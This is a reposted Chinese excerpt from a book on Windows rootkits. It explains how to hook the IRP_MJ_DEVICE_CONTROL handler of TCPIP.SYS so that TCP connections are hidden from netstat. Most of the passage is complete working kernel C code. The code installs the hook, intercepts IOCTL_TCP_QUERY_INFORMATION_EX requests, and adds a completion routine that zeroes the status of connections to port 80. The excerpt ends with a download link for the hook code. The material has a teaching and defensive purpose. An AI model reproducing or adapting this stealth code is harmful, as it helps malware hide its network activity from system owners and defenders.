4_2 内核钩子 - 《Rootkits——Windows内核的安全防护》第三部分 (转自CSDN读书频道)

 
查看文章
  
4_2 内核钩子 - 《Rootkits——Windows内核的安全防护》第三部分 (转自CSDN读书频道)
2007年05月07日 星期一 17:56

3. 钩住设备驱动程序对象中主要的I/O请求报文函数表
内核中另一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O
Request
Packet,IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。
以下是微软公司DDK定义的标准IRP类型列表:
// Define the major function codes for IRPs.
#define IRP_MJ_CREATE                         0x00
#define IRP_MJ_CREATE_NAMED_PIPE            0x01
#define IRP_MJ_CLOSE                          0x02
#define IRP_MJ_READ                           0x03
#define IRP_MJ_WRITE                          0x04
#define IRP_MJ_QUERY_INFORMATION            0x05
#define IRP_MJ_SET_INFORMATION              0x06
#define IRP_MJ_QUERY_EA                      0x07
#define IRP_MJ_SET_EA                         0x08
#define IRP_MJ_FLUSH_BUFFERS                 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION     0x0b
#define IRP_MJ_DIRECTORY_CONTROL            0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL          0x0d
#define IRP_MJ_DEVICE_CONTROL                0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL    0x0f
#define IRP_MJ_SHUTDOWN                      0x10
#define IRP_MJ_LOCK_CONTROL                  0x11
#define IRP_MJ_CLEANUP                        0x12
#define IRP_MJ_CREATE_MAILSLOT              0x13
#define IRP_MJ_QUERY_SECURITY                0x14
#define IRP_MJ_SET_SECURITY                  0x15
#define IRP_MJ_POWER                          0x16
#define IRP_MJ_SYSTEM_CONTROL                0x17
#define IRP_MJ_DEVICE_CHANGE                 0x18
#define IRP_MJ_QUERY_QUOTA                   0x19
#define IRP_MJ_SET_QUOTA                     0x1a
#define IRP_MJ_PNP                             0x1b
#define IRP_MJ_PNP_POWER                     IRP_MJ_PNP     //Obsolete
#define IRP_MJ_MAXIMUM_FUNCTION           0x1b
值得关注的IRP和特定驱动程序依赖于期望完成的目标。例如,可以钩住处理文件系统写操作或TCP查询的函数。然而这种钩子方法存在着问题。和IDT非常类似,处理主要IRP的函数并没有设计成调用原始函数并对结果进行过滤,从调用堆栈中的更低层设备驱动程序将不会返回到这些函数。图4-6解释了设备对象如何指向存储IRP_MJ_*函数表的驱动程序对象。
以下示例给出了如何使用TCPIP.SYS驱动程序中的IRP钩子向netstat.exe之类的程序隐藏网络端口。该驱动程序管理TCP端口。

图4-6    钩住驱动程序的IRP表
netstat.exe列出了所有TCP连接,它的典型输出如下:
C:/Documents and Settings/Fuzen>netstat -p TCP
Active Connections
    Proto    Local Address         Foreign Address         State
    TCP      LIFE:1027              localhost:1422           ESTABLISHED
    TCP      LIFE:1027              localhost:1424           ESTABLISHED
    TCP      LIFE:1027              localhost:1428           ESTABLISHED
    TCP      LIFE:1410              localhost:1027           CLOSE_WAIT
    TCP      LIFE:1422              localhost:1027           ESTABLISHED
    TCP      LIFE:1424              localhost:1027           ESTABLISHED
    TCP      LIFE:1428              localhost:1027           ESTABLISHED
    TCP      LIFE:1463              localhost:1027           CLOSE_WAIT
    TCP      LIFE:1423              64.12.28.72:5190        ESTABLISHED
    TCP      LIFE:1425              64.12.24.240:5190       ESTABLISHED
    TCP      LIFE:3537              64.233.161.104:http     ESTABLISHED
上面的输出显示了协议名称、源地址和端口、目的地址和端口以及每个连接的状态。
显然您不会希望rootkit显示出任何已建立的对外连接。避免这种情况的一种方法是钩住TCPIP.SYS,并过滤掉用于查询该信息的IRP。
寻找驱动程序的IRP函数表
在准备隐藏网络端口的使用情况时,第一个任务是在内存中找到驱动程序对象。在本例中考虑TCPIP.SYS以及与之相关的设备对象//DEVICE//TCP。内核提供的IoGetDeviceObjectPointer函数能返回任意设备的对象指针。给定一个名称,它返回相应的文件对象和设备对象。设备对象包含一个驱动程序对象指针,它保存目标函数表。rootkit应该将要钩住的函数指针的旧值保存下来。钩子中最终还需要调用该值。另外,如果希望卸载rootkit的话,则需要恢复表中原始的函数地址。代码中使用了InterlockedExchange函数,因为与其他InterlockedXXX函数相比,它是一个原子操作。
在给定一个设备名后,以下代码将获得TCPIP.SYS的指针,并钩住IRP函数表中的一项。在InstallTCPDriverHook()中将替换TCPIP.SYS中IRP_MJ_DEVICE_
CONTROL的处理函数指针。该IRP是查询“TCP”设备所用的IRP。
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS InstallTCPDriverHook()
{
     NTSTATUS         ntStatus;
     UNICODE_STRING deviceTCPUnicodeString;
     WCHAR deviceTCPNameBuffer[] = L"//Device//Tcp";
     pFile_tcp    = NULL;
     pDev_tcp     = NULL;
     pDrv_tcpip = NULL;
     RtlInitUnicodeString (&deviceTCPUnicodeString,
                           deviceTCPNameBuffer);
     ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,
                                   FILE_READ_DATA, &pFile_tcp,
                                   &pDev_tcp);
     if(!NT_SUCCESS(ntStatus))
        return ntStatus;
     pDrv_tcpip = pDev_tcp->DriverObject;
     OldIrpMjDeviceControl = pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL];
     if (OldIrpMjDeviceControl)
        InterlockedExchange ((PLONG)&pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL],
                             (LONG)HookedDeviceControl);
     return STATUS_SUCCESS;
}
执行上述代码后,钩子就安装到了TCPIP.SYS驱动程序中。
IRP钩子函数
在TCPIP.SYS驱动程序中安装了钩子后,就可以在HookedDeviceControl函数中开始接收IRP。在TCPIP.SYS的IRP_MJ_DEVICE_CONTROL中存在着许多不同类型的请求。
在必须执行的第一级过滤中会处理所有类型为IRP_MJ_*的IRP。“IRP_MJ”代表主要IRP类型(major IRP
type)。每个IRP中还存在一个次要类型。
除了主要和次要IRP类型之外,IRP中的IoControlCode用于标识特定类型的请求。对于本例,只关心IoControlCode为IOCTL_TCP_QUERY_INFORMATION_EX的IRP。这些IRP向诸如netstat.exe等程序返回端口列表。rootkit应该将IRP的输入缓冲区分配到以下TDIObjectID。在隐藏TCP端口时,rootkit只关注于CO_TL_ENTITY实体请求。CL_TL_ENTITY用于UDP请求。TDIObjectID的toi_id也是重要的,其值依赖于当用户激活netstat时使用了什么开关(例如,netstat.exe
-o)。下一节将详细讨论该字段。
#define CO_TL_ENTITY                    0x400
#define CL_TL_ENTITY                    0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
     ulong        tei_entity;
     ulong        tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
     TDIEntityID     toi_entity;
     ulong        toi_class;
     ulong        toi_type;
     ulong        toi_id;
} TDIObjectID;
HookedDeviceControl需要当前IRP堆栈的指针,该堆栈存储了IRP的主要和次要函数码。由于钩住了IRP_MJ_DEVICE_CONTROL,自然希望它是主要函数码,但可执行一些正确性检查以证实这一点。
IRP堆栈中的另一种重要信息是控制码。本例只考虑IOCTL_TCP_QUERY_
INFORMATION_EX控制码。
下一步是找到输入缓冲区在IRP中的位置。对于netstat请求,内核和用户程序使用METHOD_NEITHER方法来传输信息缓冲区。该方法导致在IRP堆栈的Parameters.DeviceIoControl.Type3InputBuffer中发现输入缓冲区
。rootkit应该将输入缓冲区强制转换为指向TDIObjectID结构的指针。可以使用上述结构来定位希望更改的请求。如果隐藏TCP端口,则inputBuffer->toi_entity.tei_entity应该等于CO_TL_ENTITY,并且inputBuffer->toi_id可以有3个取值。下一节将解释toi_id的含义。
若该IRP确实是您的rootkit准备更改的查询,则必须修改IRP,使其包含指向所选择的回调函数的指针,本例中是rootkit的IoCompletionRoutine函数。还必须修改IRP中的控制标志。一旦位于TCPIP.SYS下的驱动程序成功处理了IRP并将所请求的信息填充到输出缓冲区中,这些标志就通知I/O
Manager调用完成例程。
可以向完成例程只传递一个参数。它包含在irpStack->Context之中。但需要传递两种信息。第一种是IRP中原始完成例程的指针;第二种是inputBuffer->toi_id的值,因为该字段包含了一个用于确定输出缓冲区格式的ID。HookedDeviceControl的最后一行调用OldIrpMjDeviceControl,它是TCPIP.SYS驱动程序对象中原始的IRP_MJ_DEVICE_CONTROL函数处理程序。
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,
                                    IN PIRP Irp)
{
     PIO_STACK_LOCATION        irpStack;
     ULONG                       ioTransferType;
     TDIObjectID               *inputBuffer;
     DWORD                       context;
     // Get a pointer to the current location in the IRP. This is where
     // the function codes and parameters are located.
     irpStack = IoGetCurrentIrpStackLocation (Irp);
     switch (irpStack->MajorFunction)
     {
        case IRP_MJ_DEVICE_CONTROL:
           if ((irpStack->MinorFunction == 0) &&
               (irpStack->Parameters.DeviceIoControl.IoControlCode
               == IOCTL_TCP_QUERY_INFORMATION_EX))
           {
              ioTransferType =
               irpStack->Parameters.DeviceIoControl.IoControlCode;
              ioTransferType &= 3;
              // Need to know the method to find input buffer
              if (ioTransferType == METHOD_NEITHER)
              {
                 inputBuffer = (TDIObjectID *)
irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
                 // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
                 if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
                 {
                    if ((inputBuffer->toi_id == 0x101) ||
                        (inputBuffer->toi_id == 0x102) ||
                        (inputBuffer->toi_id == 0x110))
                    {
                       // Call our completion routine if IRP succeeds.
                       // To do this, change the Control flags in the IRP.
                       irpStack->Control = 0;
                       irpStack->Control |= SL_INVOKE_ON_SUCCESS;
                       // Save old completion routine if present
                       irpStack->Context =(PIO_COMPLETION_ROUTINE)
                                      ExAllocatePool(NonPagedPool,
                                      sizeof(REQINFO));
                       ((PREQINFO)irpStack->Context)->
                             OldCompletion =
                                      irpStack->CompletionRoutine;
                       ((PREQINFO)irpStack->Context)->ReqType =
                                                inputBuffer->toi_id;
                       // Setup our function to be called
                       // upon completion of the IRP
                       irpStack->CompletionRoutine =
(PIO_COMPLETION_ROUTINE) IoCompletionRoutine;
                    }
                 }
             }
          }
          break;
          default:
          break;
     }
     // Call the original function
     return OldIrpMjDeviceControl(DeviceObject, Irp);
}
现在已经将回调函数IoCompletionRoutine的指针插入到IRP中,下面编写完成例程。
IRP完成例程
上述代码中,当钩子截获到现有IRP并且调用原始函数之前,会将自己的完成例程插入现有IRP中。这是对更低层驱动程序放入IRP中的信息进行更改的唯一方式。rootkit驱动程序此刻被钩入到真正驱动程序之上。一旦调用了原始的IRP处理程序,更低层的驱动程序(例如TCPIP.SYS)就接管控制。通常,从调用堆栈中决不会返回到作为钩子函数的IRP处理程序。这就是必须插入完成例程的原因。如果完成例程存在的话,当TCPIP.SYS在IRP中填充了关于所有网络端口的信息之后,它将返回到该例程(因为已经将它挤入到原始IRP中)。关于IRP及其完成例程的更完整说明,参见第6章“分层驱动程序”。
在下面的代码示例中,当TCPIP.SYS为主机上的每个现有TCP端口都向IRP的输出缓冲区中填充了一个结构之后,会调用IoCompletionRoutine函数。该缓冲区的准确结构依赖于运行netstat所使用的开关。可用的开关选项与操作系统版本有关。选项-o导致netstat列出拥有相应端口的进程。在本例中,TCPIP.SYS返回一个包含CONNINFO102结构的缓冲区;选项-b返回具有端口信息的CONNINFO110结构;其他选项返回CONNINFO101类型的结构。这3种类型的结构以及其中所包含的信息如下所示:
#define HTONS(a)    (((0xFF&a)<<8) + ((0xFF00&a)>>8)) // to get a port
// Structures of TCP information buffers returned by TCPIP.SYS
typedef struct _CONNINFO101 {
     unsigned long status;
     unsigned long src_addr;
     unsigned short src_port;
     unsigned short unk1;
     unsigned long dst_addr;
     unsigned short dst_port;
     unsigned short unk2;
} CONNINFO101, *PCONNINFO101;
typedef struct _CONNINFO102 {
     unsigned long status;
     unsigned long src_addr;
     unsigned short src_port;
     unsigned short unk1;
     unsigned long dst_addr;
     unsigned short dst_port;
     unsigned short unk2;
     unsigned long pid;
} CONNINFO102, *PCONNINFO102;
typedef struct _CONNINFO110 {
     unsigned long size;
     unsigned long status;
     unsigned long src_addr;
     unsigned short src_port;
     unsigned short unk1;
     unsigned long dst_addr;
     unsigned short dst_port;
     unsigned short unk2;
     unsigned long pid;
     PVOID      unk3[35];
} CONNINFO110, *PCONNINFO110;
IoCompletionRoutine接收一个称为Context的指针,在钩子例程中为之分配空间。Context是PREQINFO类型的指针,通过它来记录所请求的连接信息类型以及IRP中的原始完成例程(若存在的话)。通过分析缓冲区并修改每个结构的状态值,可以隐藏任何端口。一些常用的状态值如下所示:
●      2—— LISTENING
●      3—— SYN_SENT
●      4—— SYN_RECEIVED
●      5—— ESTABLISHED
●      6—— FIN_WAIT_1
●      7—— FIN_WAIT_2
●      8—— CLOSE_WAIT
●      9—— CLOSING
若rootkit将状态值改为0,则不管参数如何,端口都从netstat的输出中消失。(要理解不同状态值的含义,Stevens的著述是极好的参考资料。)以下完成例程的示例代码隐藏了一条目的端口为TCP
80的连接:
typedef struct _REQINFO {
        PIO_COMPLETION_ROUTINE OldCompletion;
        unsigned long            ReqType;
} REQINFO, *PREQINFO;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
                                    IN PIRP Irp,
                                    IN PVOID Context)
{
     PVOID OutputBuffer;
     DWORD NumOutputBuffers;
     PIO_COMPLETION_ROUTINE p_compRoutine;
     DWORD i;
     // Connection status values:
     // 0 = Invisible
     // 1 = CLOSED
     // 2 = LISTENING
     // 3 = SYN_SENT
     // 4 = SYN_RECEIVED
     // 5 = ESTABLISHED
     // 6 = FIN_WAIT_1
     // 7 = FIN_WAIT_2
     // 8 = CLOSE_WAIT
     // 9 = CLOSING
     // ...
     OutputBuffer = Irp->UserBuffer;
     p_compRoutine = ((PREQINFO)Context)->OldCompletion;
     if (((PREQINFO)Context)->ReqType == 0x101)
     {
        NumOutputBuffers = Irp->IoStatus.Information /
                                    sizeof(CONNINFO101);
        for(i = 0; i < NumOutputBuffers; i++)
        {
           // Hide all Web connections
           if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
              ((PCONNINFO101)OutputBuffer)[i].status = 0;
        }
     }
     else if (((PREQINFO)Context)->ReqType == 0x102)
     {
        NumOutputBuffers = Irp->IoStatus.Information /
                                sizeof(CONNINFO102);
        for(i = 0; i < NumOutputBuffers; i++)
        {
           // Hide all Web connections
           if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
              ((PCONNINFO102)OutputBuffer)[i].status = 0;
        }
     }
     else if (((PREQINFO)Context)->ReqType == 0x110)
     {
        NumOutputBuffers = Irp->IoStatus.Information /
                                sizeof(CONNINFO110);
        for(i = 0; i < NumOutputBuffers; i++)
        {
           // Hide all Web connections
           if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
              ((PCONNINFO110)OutputBuffer)[i].status = 0;
        }
     }
     ExFreePool(Context);
     if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
     {
        return (p_compRoutine)(DeviceObject, Irp, NULL);
     }
     else
     {
        return Irp->IoStatus.Status;
     }
}
rootkit.com网站资源
TCP IRP钩子代码的下载网址是www.rootkit.com/vault/fuzen_op/TCPIRPHook.zip

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值